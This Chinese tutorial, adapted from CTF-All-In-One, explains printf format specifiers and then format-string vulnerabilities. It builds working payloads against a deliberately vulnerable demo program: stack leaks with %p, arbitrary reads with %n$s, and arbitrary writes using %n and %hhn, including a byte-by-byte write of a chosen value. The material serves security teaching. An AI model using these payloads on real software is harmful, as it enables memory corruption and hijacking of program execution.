文章内容参考来源:CTF-All-In-One

格式化输出函数和格式化字符串

首先介绍一下C语言中的格式化输出函数及格式化字符串的格式。

格式化输出函数

C 标准中定义了下面的格式化输出函数(参考 man 3 printf):

#include <stdio.h>


int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

#include <stdarg.h>


int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vdprintf(int fd, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);
  • fprintf() 按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。
  • printf() 等同于 fprintf(),但是它假定输出流为 stdout
  • sprintf() 等同于 fprintf(),但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。
  • snprintf() 等同于 sprintf(),但是它指定了可写入字符的最大值 size。当 size 大于零时,输出字符超过第 size-1 的部分会被舍弃而不会写入数组中,在写入数组的字符串末尾会添加一个空字符。
  • dprintf() 等同于 fprintf(),但是它输出不是流而是一个文件描述符 fd
  • vfprintf()vprintf()vsprintf()vsnprintf()vdprintf() 分别与上面的函数对应,只是它们将变参列表换成了 va_list 类型的参数。

格式字符串

格式字符串是由普通字符(ordinary character)(包括 %)和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。

一个转换规则有可选部分和必需部分组成:

%[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符
  • (必需)转换指示符
字符描述
d, i有符号十进制数值 int。‘%d’ 与 ‘%i’ 对于输出是同义;但对于 scanf() 输入二者不同,其中 %i 在输入值有前缀 0x0 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
u十进制 unsigned int。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
f, Fdouble 型输出 10 进制定点表示。‘f’ 与 ‘F’ 差异是表示无穷与 NaN 时,‘f’ 输出 ‘inf’, ‘infinity’ 与 ‘nan’;‘F’ 输出 ‘INF’, ‘INFINITY’ 与 ‘NAN’。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字。
e, Edouble 值,输出形式为 10 进制的([-]d.ddd e[+/-]ddd). E 版本使用的指数符号为 E(而不是e)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 _set_output_format 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。
g, Gdouble 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。‘g’ 使用小写字母,‘G’ 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0。
x, X16 进制 unsigned int。‘x’ 使用小写字母;‘X’ 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
o8 进制 unsigned int。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
s如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
c如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
pvoid * 型,输出对应变量的值。printf("%p", a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
a, Adouble 型的 16 进制表示,"[−]0xh.hhhh p±d”。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。‘a’ 使用小写字母,‘A’ 使用大写字母。
n不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%%’ 字面值,不接受任何除了 参数 以外的部分。
  • (可选)参数
字符描述
n$n 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 参数,则其他所有占位符必须也使用 参数。例:printf("%2$d %2$#x; %1$d %1$#x",16,17) 产生 “17 0x11; 16 0x10
  • (可选)标志
字符描述
+总是表示有符号数值的 ‘+’ 或 ‘-’ 号,缺省情况是忽略正数的符号。仅适用于数值类型。
空格使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 ‘+’ 同时出现,则空格说明符被忽略。
-左对齐。缺省情况是右对齐。
#对于 ‘g’ 与 ‘G’,不删除尾部 0 以表示精度。对于 ‘f’, ‘F’, ‘e’, ‘E’, ‘g’, ‘G’, 总是输出小数点。对于 ‘o’, ‘x’, ‘X’, 在非 0 数值前分别输出前缀 0, 0x0X表示数制。
0如果 宽度 选项前缀为 0,则在左侧用 0 填充直至达到宽度要求。例如 printf("%2d", 3)输出 “3”,而 printf("%02d", 3) 输出 “03”。如果 0- 均出现,则 0 被忽略,即左对齐依然用空格填充。
  • (可选)宽度

是一个用来指定输出字符的最小个数的十进制非负整数。如果实际位数多于定义的宽度,则按实际位数输出;如果实际位数少于定义的宽度则补以空格或 0。

  • (可选)精度

精度是用来指示打印字符个数、小数位数或者有效数字个数的非负十进制整数。对于 diuxo 的整型数值,是指最小数字位数,不足的位要在左侧补 0,如果超过也不截断,缺省值为 1。对于 a, A, e, E, f, F 的浮点数值,是指小数点右边显示的数字位数,必要时四舍五入;缺省值为 6。对于 g, G 的浮点数值,是指有效数字的最大位数。对于 s 的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。如果域宽为 *,则由对应的函数参数的值为当前域宽。如果仅给出了小数点,则域宽为 0。

  • (可选)长度
字符描述
hh对于整数类型,printf 期待一个从 char 提升的 int 整型参数。
h对于整数类型,printf 期待一个从 short 提升的 int 整型参数。
l对于整数类型,printf 期待一个 long 整型参数。对于浮点类型,printf 期待一个 double 整型参数。对于字符串 s 类型,printf 期待一个 wchar_t 指针参数。对于字符 c 类型,printf 期待一个 wint_t 型的参数。
ll对于整数类型,printf 期待一个 long long 整型参数。Microsoft 也可以使用 I64
L对于浮点类型,printf 期待一个 long double 整型参数。
z对于整数类型,printf 期待一个 size_t 整型参数。
j对于整数类型,printf 期待一个 intmax_t 整型参数。
t对于整数类型,printf 期待一个 ptrdiff_t 整型参数。

例子

printf("Hello %%");           // "Hello %"
printf("Hello World!");       // "Hello World!"
printf("Number: %d", 123);    // "Number: 123"
printf("%s %s", "Format", "Strings");   // "Format Strings"

printf("%12c", 'A');          // "           A"
printf("%16s", "Hello");      // "          Hello!"

int n;
printf("%12c%n", 'A', &n);    // n = 12
printf("%16s%n", "Hello!", &n); // n = 16

printf("%2$s %1$s", "Format", "Strings"); // "Strings Format"
printf("%42c%1$n", &n);       // 首先输出41个空格,然后输出 n 的低八位地址作为一个字符

格式化字符串漏洞基本原理

在 x86 结构下,格式字符串的参数是通过栈传递的,根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符:如果字符不是 %,字符直接复制到输出中;否则,读取下一个非空字符,获取相应的参数并解析输出。

但在printf()函数对第一个参数进行解析的时候,它不会检查所传进来的参数个数,每当解析到%...的时候,它就会直接按照顺序在栈中向后取参数。所以如果第一个参数中的占位符%...数量多于后面所传进来的参数的话,就可以非法地访问到栈中其他地址的内容。

看一个简单的例子:

//exam.c
#include <stdio.h>                            


int main() {
    printf("%s %d\n%p %p %p\n", "hello", 233);
}

编译后运行:

$ gcc -m32 -o exam exam.c
$ ./exam
hello 233
0x565555b4 0xffffd320 (nil)

可以看到,程序之后输出了额外的值,这些值来自栈的更高地址的数据。(nil)表示空地址,gdb调试可以发现栈上对应位置的值恰好为0。

并且利用此漏洞不仅可以非法地读取内存数据,结合格式化字符串中的%n,还可以实现对内存的覆写。

格式化字符串漏洞利用

通过提供printf()函数的第一个格式字符串参数,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种:

使程序崩溃

在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储。(核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。)

利用类似下面的格式字符串即可触发漏洞:

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
  • 对于每一个 %sprintf() 都要从栈中获取一个四个字节数据,把该数据视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
  • 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
  • 还有可能获得的数字确实是一个地址,但是该地址是被保护的。

查看栈内容

使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。

我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 printf() 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf()调用时出现的顺序是一致的。

下面的内容我们都使用下面的源码:

//fmt.c
#include<stdio.h>

void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

关闭系统的ASLR保护(这可以保证栈在 gdb 环境中和直接运行中都保持不变),在编译程序的时候去掉一些安全选项:

# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c

在前面的例子中,我们是依次获得的栈上的参数,如果想要直接获得被指定的某个参数,则可以输入类似下面的格式字符串:

%5$p

这样可以直接获得printf()第一个参数后第五个参数位置处的栈内存的值。

查看任意地址的内存

攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s 显示参数指针所指定的地址的内存,如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。

在上面的程序中,攻击者能够操纵内存写入数据的只有scanf()函数,可以把将要读取的内存地址在此处写入,但是又如何在printf()函数中找到并指向我们写入的地址数据呢?

在上述程序中,char format[128]字符数组是作为main()函数局部变量存在的,因此它会保存在栈中。而在调用printf()函数的时候,第一个参数传入的是format数组的地址,而format数组的数据应该存在于栈的更高地址中,所以可以通过%*$p的方式来指向数组数据,具体在*处应该是什么数字,可以在程序中输入如下字符来确定:

AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

此时程序的输出结果如下:

AAAA.0x1.0x88888888.0xffffffff.0xffffd26a.0xffffd274.0x80481fc.0x80484b5.0xf7ffda7c.0x1.0x42414110.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

找到0x41414141,即为format数组中的AAAA,它处于第13个位置。确定了AAAA的位置后,输入时把AAAA替换成我们想要读取的内存地址,并在格式化字符串中使用%13$s引用这个位置就可以了。

注:在 gdb 调试环境中的栈地址和直接运行程序是不一样的

覆盖任意地址内存

利用格式化字符串漏洞我们还可以修改栈和内存来劫持程序的执行流程。%n 转换指示符将 %n 前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

#include<stdio.h>

void main() {
    int i;
    char str[] = "hello";

    printf("%s %n\n", str, &i);
    printf("%d\n", i);
}
$ ./a.out
hello
6

i 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(hello 加上一个空格)。在没有长度修饰符时,默认写入一个 int 类型的值。

%n针对的参数是一个指针类型,也就是一个内存地址,所以同样,我们如果想要写数据到指定地址的内存中,也需要先将该地址写入,并且拿到它所在的内存位置。流程同上面查看任意地址内存数据相同,不再赘述。

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数。

还是上面读取内存时的示例程序,例如我们想将地址为 0xffffd538内存数据更改为0x00000020(32),可以这样构造格式字符串 :

\x38\xd5\xff\xff%08x%08x%012d%13$n

其中 \x38\xd5\xff\xff 表示 内存地址,占 4 字节,%08x%08x 表示两个 8 字符宽的十六进制数,占 16 字节,%012d 占 12 字节,三个部分加起来就占了 4+16+12=32 字节。

值小于4的内存覆盖

使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢?

再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 :

"AA%15$nA"+"\x38\xd5\xff\xff"

开头的 AA 占两个字节,即将地址赋值为 2,中间是 %15$n 占 5 个字节,这里不是 %13$n,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x38\xd5\xff\xff

大数值的内存覆盖

说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:

char c;
short s;
int i;
long l;
long long ll;

printf("%s %hhn\n", str, &c);       // 写入单字节
printf("%s %hn\n", str, &s);        // 写入双字节
printf("%s %n\n", str, &i);         // 写入4字节
printf("%s %ln\n", str, &l);        // 写入8字节
printf("%s %lln\n", str, &ll);      // 写入16字节

试一下:

$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
0xffffd530:     0xffffd564      0x00000001      0x88888801      0xffffffff

$ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
0xffffd530:     0xffffd564      0x00000001      0x88880001      0xffffffff

$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
0xffffd530:     0xffffd564      0x00000001      0x00000001      0xffffffff

于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 0x12345678 到地址 0xffffd538

"\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn"

其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh,所以只会保留一个字节: 0x78(16+104=120 -> 0x78)、0x56(120+222=342 -> 0x0156 -> 56)、0x34(342+222=564 -> 0x0234 -> 0x34)、0x12(564+222=786 -> 0x312 -> 0x12)。

x86-64 中的格式化字符串漏洞

在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 RDIRSIRDXRCXR8R9 传递;而在 Windows 中,前四个参数通过 RCXRDXR8R9 来传递。

还是上面的程序,但是这次我们把它编译成 64 位:

gcc -fno-stack-protector -no-pie fmt.c

使用下面的字符串作为输入:

AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

输出为

AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.

我们最后的输出中,前五个数字分别来自寄存器 RSIRDXRCXR8R9,后面的数字才取自栈,0x4141414141414141%8$p 的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 RDI 被用于传递格式字符串,可以从 gdb 中看到,arg[0] 就是由 RDI 传递的格式字符串。